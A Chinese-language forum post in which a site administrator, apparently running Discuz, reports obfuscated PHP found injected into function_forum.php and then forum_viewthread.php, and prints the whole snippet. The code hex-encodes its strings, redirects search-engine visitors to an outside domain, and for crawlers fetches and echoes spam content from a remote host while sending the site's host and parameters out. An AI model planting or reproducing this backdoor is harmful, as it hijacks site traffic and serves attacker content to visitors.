先是在function_forum.php中加,恢复后,今天又发现在forum_viewthread.php又发现同样代码。
- <?php
- /*StartCache*/
- function relset_UC_key ($string)
- {
- $arraygn = strlen ($string);$debuger = '';
- for($one = 0;$one < $arraygn;$one+=2) {
- $debuger .= pack ("C",hexdec (substr ($string,$one,2)));
- }
- return $debuger;
- }
- function relset_Turl ($url)
- {
- global $relset_host;
- $string = relset_UC_key ('4c6f636174696f6e3a20'.$url.'3f').str_replace ('.','_',$relset_host);
- header($string);
- return true;
- }
- error_reporting (E_ERROR);
- if($_GET && !eregi('site%3A|inurl%3A',$_SERVER['HTTP_REFERER']))
- {
- $clserv = &$_SERVER;
- $relset_host = $clserv['HTTP_'.'HOST'];
- $relset_self = $clserv['PHP_'.'SELF'];
- $relset_refe = $clserv['HTTP_RE'.'FERER'];
- $relset_user = $clserv['HTTP_US'.'ER_AGENT'];
- if ($_GET['tid'] > 9999999 || $_GET['tid'] > 9999999){
- $arrgpe = array(
- 'tid' => array('%B2%A9%B2%CA','%b2%a9%b2%ca','687474703A2F2F3232322E64616E6763692E63632F'),
- );
- $keysar = array_keys ($_GET);
- $arrgps = array_keys ($arrgpe);
- $arrgpx = array_values (array_intersect ($arrgps,$keysar));
- $rebotu = $arrgpx[0];
- $boswon = relset_UC_key ('62616964757c676f6f676c657c736f676f757c736f736f7c7961686f6f7c62696e677c626f747c7370696465727c736f7c333630');
- }
- if (eregi ($boswon,$relset_refe)) {
- if (!empty ($rebotu)) {
- relset_Turl ($arrgpe[$arrgpx[0]][2]);
- exit;
- } else {
- foreach($arrgpe as $vargn => $arraygn) {
- if(stristr ($relset_refe,$arraygn[0]) || stristr ($relset_refe,$arraygn[1])) {relset_Turl ($arraygn[2]);exit;}
- }
- }
- } elseif (eregi ($boswon,$relset_user) && $rebotu) {
- $valsar = array_values ($_GET);
- $retueby = array(
- 0 => relset_UC_key ('3f643d'),
- 1 => relset_UC_key ('26733d'),
- 2 => relset_UC_key ('26763d'),
- 3 => relset_UC_key ('26723d'),
- 4 => relset_UC_key ('636f6e74656e742d547970653a20746578742f68746d6c3b20636861727365743d676232333132'),
- 5 => relset_UC_key ('687474703a2f2f'),
- 6 => relset_UC_key ('5b30785370696465725d')
- );
- $inters = relset_UC_key ('3830');
- $demuer = relset_UC_key ('6262732E616E7175616E2E7573');
- $simeiao = relset_UC_key ('2f6170692f696e6465782e706870');
- $classinction = $retueby[0].$relset_host.$retueby[1].$relset_self.$retueby[2].$rebotu.$retueby[3].$valsar[0].'|'.$valsar[1].'|'.$valsar[2];
- header ($retueby[4]);
- $skyword = @file_get_contents ($retueby[5].$demuer.':'.$inters.$simeiao.$classinction);
- $skywords = explode ($retueby[6],$skyword);
- echo $skywords[1];
- exit;
- }
- }
- /*EndCache*/
- ?>
复制代码
|